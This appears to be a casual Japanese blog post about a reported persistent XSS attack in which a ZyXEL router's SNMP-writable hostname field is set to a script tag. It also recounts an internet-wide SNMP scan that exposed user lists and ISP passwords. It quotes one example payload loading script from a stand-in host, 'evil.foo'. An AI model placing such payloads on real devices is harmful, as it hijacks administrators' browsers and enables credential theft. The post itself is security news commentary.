あ… ありのまま今起こった事を話すぜ! 俺は botnet の話 を書くために Dark Reading を読み始めたと思ったら、SNMP の話を書いていた!
いや、だってさあ、SNMP をルータに投げて XSS を仕掛ける って、かなり楽しそうに聞こえるぢゃん?
先月末の Dark Reading に SNMP Joins Dark Side in New XSS Attack というタイトルで載った記事なんですが、Persistent XSS という新しい攻撃法が紹介されてます。実証コードもあるらしい。
家庭用/SOHO用のブロードバンドルータとして ZyXEL 製のルータがアメリカでは普及してるらしいんですが、このルータはデフォルトで SNMP サービスが使えるようになってるんだそうです。んで、すげー困ったことに、デフォルトではフィルタがかかってないので、誰でも MIB Get/Set できる らしい。Internet 側からでも Set できる。もちろんコミュニティ名のチェックはかかりますけど、どうせコミュニティ名もデフォルトのままだろしな。
まあそんな穴が開いてればいかにもヤバげな気はしますが、例えば system.sysName.0 とかの MIB を書き換えると素晴らしいことになるらしい。system.sysName.0 ってのはだいたいルータのホスト名が文字列として入ってるんですが、ここに例えば <script src=http://evil.foo/X > なんて文字列を MIB set してしまうわけだ。
羊のように何も知らないユーザがルータを設定変更するためにPCのブラウザから設定画面立ち上げると、HTML中にルータのホスト名が表示されるのだけど、本来のホスト名の代わりにこのタグが表示されるので、evil.foo から悪鬼のごときスクリプトがやってくると。
まあ Cross Site Scripting 本来の意味からはちょっと違う攻撃のような気もしなくもないけど。詳細は ProCheckUp の出したレポート をどおぞ。
さらに、このレポートを読んだ GNUCitizen の人たちが、ランダムに選んだIPアドレス250万個に対してランダムに SNMP パケットを打ってみて、ZyXEL みたいな甘っちょろいルータが無いかどうかチェックしてみたんだそおです。その結果が Exploring the UNKNOWN: Scanning the Internet via SNMP! として報告されてますが、5,320個のIPアドレスは SNMP コマンドを受け付けたそうな。snmpwalk に応答して全ユーザ名のリストを返してきた Windows 2000 Server とか、ISP接続パスワードを MIB Get できた BT製無線ルータとか、まあいろいろあったみたいです。Apple の AirPort とか Cisco 製品でもヤバいのあったらしい。ZyXEL 製品だけじゃなかったのね。
SNMP がデフォルトで開いてて危険ってのは実は目新しい話じゃなくて、例えば BT製無線ルータの話は2004年に セキュリティ勧告 が出てるんですが、今でも古い機種が残ってると同時に、新しく出た機種でも問題が出てたりするんぢゃねえ。
日本市場のブロードバンドルータは大丈夫ぢゃろか?

